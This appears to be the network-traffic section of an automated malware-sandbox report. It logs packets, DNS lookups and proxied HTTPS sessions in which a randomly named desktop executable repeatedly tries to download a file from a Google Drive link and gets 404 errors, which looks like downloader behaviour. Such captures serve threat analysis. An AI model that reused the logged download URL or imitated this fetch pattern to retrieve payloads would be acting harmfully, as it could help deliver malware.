Jan 11, 2025 05:07:29.755244017 CET	50058	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:29.755548954 CET	50058	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:29.755637884 CET	443	50058	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:29.755695105 CET	50058	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:29.762696981 CET	50059	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:29.762789011 CET	443	50059	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:29.762902021 CET	50059	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:29.763293982 CET	50059	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:29.763326883 CET	443	50059	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:30.408684015 CET	443	50059	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:30.410201073 CET	50059	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:30.410634995 CET	50059	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:30.410649061 CET	443	50059	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:30.410801888 CET	50059	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:30.410810947 CET	443	50059	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:30.828221083 CET	443	50059	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:30.828305006 CET	443	50059	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:30.828377962 CET	443	50059	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:30.828380108 CET	50059	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:30.828444004 CET	50059	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:30.839507103 CET	50059	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:30.839545965 CET	443	50059	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:31.070317984 CET	50060	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:31.070358038 CET	443	50060	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:31.070465088 CET	50060	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:31.194961071 CET	50060	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:31.194998980 CET	443	50060	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:31.824943066 CET	443	50060	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:31.825037003 CET	50060	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:31.825681925 CET	443	50060	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:31.825747013 CET	50060	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:31.828835011 CET	50060	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:31.828850985 CET	443	50060	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:31.829116106 CET	443	50060	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:31.829170942 CET	50060	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:31.829833031 CET	50060	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:31.871330976 CET	443	50060	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:32.208215952 CET	443	50060	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:32.208334923 CET	50060	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:32.208375931 CET	443	50060	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:32.208445072 CET	50060	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:32.208729029 CET	50060	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:32.208781004 CET	443	50060	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:32.208847046 CET	50060	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:32.209552050 CET	50061	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:32.209594011 CET	443	50061	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:32.209659100 CET	50061	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:32.210002899 CET	50061	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:32.210016966 CET	443	50061	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:32.842715979 CET	443	50061	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:32.842828989 CET	50061	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:32.843318939 CET	50061	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:32.843329906 CET	443	50061	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:32.843477964 CET	50061	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:32.843482971 CET	443	50061	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:33.267251015 CET	443	50061	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:33.267328024 CET	443	50061	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:33.267391920 CET	443	50061	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:33.267410040 CET	50061	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:33.267450094 CET	50061	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:33.267956018 CET	50061	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:33.267976999 CET	443	50061	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:33.381485939 CET	50062	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:33.381551981 CET	443	50062	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:33.381766081 CET	50062	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:33.381926060 CET	50062	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:33.381947041 CET	443	50062	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:34.010660887 CET	443	50062	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:34.010858059 CET	50062	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:34.011406898 CET	443	50062	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:34.011498928 CET	50062	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:34.013282061 CET	50062	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:34.013293028 CET	443	50062	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:34.013628006 CET	443	50062	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:34.013700008 CET	50062	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:34.014118910 CET	50062	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:34.055347919 CET	443	50062	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:34.395371914 CET	443	50062	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:34.395617008 CET	50062	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:34.395802975 CET	50062	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:34.395812035 CET	443	50062	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:34.395888090 CET	50062	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:34.396629095 CET	50063	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:34.396678925 CET	443	50063	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:34.396740913 CET	50063	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:34.396953106 CET	50063	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:34.396967888 CET	443	50063	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:35.060009003 CET	443	50063	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:35.060306072 CET	50063	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:35.060724974 CET	50063	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:35.060755014 CET	443	50063	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:35.060897112 CET	50063	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:35.060909986 CET	443	50063	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:35.484339952 CET	443	50063	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:35.484442949 CET	50063	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:35.484517097 CET	443	50063	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:35.484555006 CET	443	50063	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:35.484582901 CET	50063	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:35.484606028 CET	443	50063	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:35.484631062 CET	50063	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:35.484657049 CET	50063	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:35.484668970 CET	443	50063	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:35.484714985 CET	50063	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:35.484757900 CET	443	50063	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:35.484818935 CET	50063	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:35.485153913 CET	50063	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:35.485188961 CET	443	50063	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:35.605474949 CET	50064	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:35.605520010 CET	443	50064	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:35.605587959 CET	50064	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:35.606383085 CET	50064	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:35.606400013 CET	443	50064	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:36.242197037 CET	443	50064	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:36.242263079 CET	50064	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:36.242655039 CET	50064	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:36.242662907 CET	443	50064	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:36.242824078 CET	50064	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:36.242830038 CET	443	50064	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:36.634720087 CET	443	50064	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:36.635363102 CET	50064	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:36.635404110 CET	443	50064	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:36.635456085 CET	50064	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:36.635464907 CET	50064	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:36.635618925 CET	50064	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:36.635679007 CET	443	50064	172.217.16.142	192.168.2.11
Jan 11, 2025 05:07:36.635736942 CET	50064	443	192.168.2.11	172.217.16.142
Jan 11, 2025 05:07:36.636457920 CET	50065	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:36.636504889 CET	443	50065	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:36.636574030 CET	50065	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:36.636859894 CET	50065	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:36.636878014 CET	443	50065	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:37.270600080 CET	443	50065	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:37.270708084 CET	50065	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:37.271167994 CET	50065	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:37.271178007 CET	443	50065	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:37.271317959 CET	50065	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:37.271322966 CET	443	50065	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:37.684055090 CET	443	50065	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:37.684117079 CET	50065	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:37.684132099 CET	443	50065	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:37.684145927 CET	443	50065	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:37.684175968 CET	50065	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:37.684181929 CET	443	50065	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:37.684195995 CET	50065	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:37.684216022 CET	443	50065	142.250.184.225	192.168.2.11
Jan 11, 2025 05:07:37.684225082 CET	50065	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:37.684252977 CET	50065	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:37.684897900 CET	50065	443	192.168.2.11	142.250.184.225
Jan 11, 2025 05:07:37.684915066 CET	443	50065	142.250.184.225	192.168.2.11

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:05:59.908541918 CET	63438	53	192.168.2.11	1.1.1.1
Jan 11, 2025 05:05:59.916207075 CET	53	63438	1.1.1.1	192.168.2.11
Jan 11, 2025 05:06:01.088660002 CET	63136	53	192.168.2.11	1.1.1.1
Jan 11, 2025 05:06:01.096187115 CET	53	63136	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:05:59.908541918 CET	192.168.2.11	1.1.1.1	0x7ed9	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:06:01.088660002 CET	192.168.2.11	1.1.1.1	0xbc44	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:05:59.916207075 CET	1.1.1.1	192.168.2.11	0x7ed9	No error (0)	drive.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:06:01.096187115 CET	1.1.1.1	192.168.2.11	0xbc44	No error (0)	drive.usercontent.google.com		142.250.184.225	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49854	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:00 UTC	216	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-11 04:06:01 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:00 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-iOdLH1KEpN8KkTv1tip9_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49860	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:01 UTC	258	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-11 04:06:02 UTC	2225	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgTTdXpZSXlwSiAzrjMhkKapMak9eF3AaveGf_RYft8RZNr2coBwVTLIJw74yCojNBRL Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:02 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-DeDfnxsw2JoCIImyO2KlWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ; expires=Sun, 13-Jul-2025 04:06:01 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:02 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 31 6c 31 58 6e 76 47 58 4f 71 73 72 58 47 32 74 56 69 75 50 6b 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1l1XnvGXOqsrXG2tViuPkw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49871	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:03 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:03 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:03 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-a2aXiHs4L7uSZ_1aouDpEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49881	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:04 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:04 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQ7Oj6XiMKPrNThbbNvGLq5Ji9066ekkRbzA-wvmisqifUl2t9TUFrdvfYOw4MHfun1 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:04 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-nBZbLe45NRVS_eqPGpPZ1w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:04 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 62 72 7a 36 44 49 6c 56 75 4e 6d 54 73 64 66 58 36 4d 64 73 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jbrz6DIlVuNmTsdfX6Mdsg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49888	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:05 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
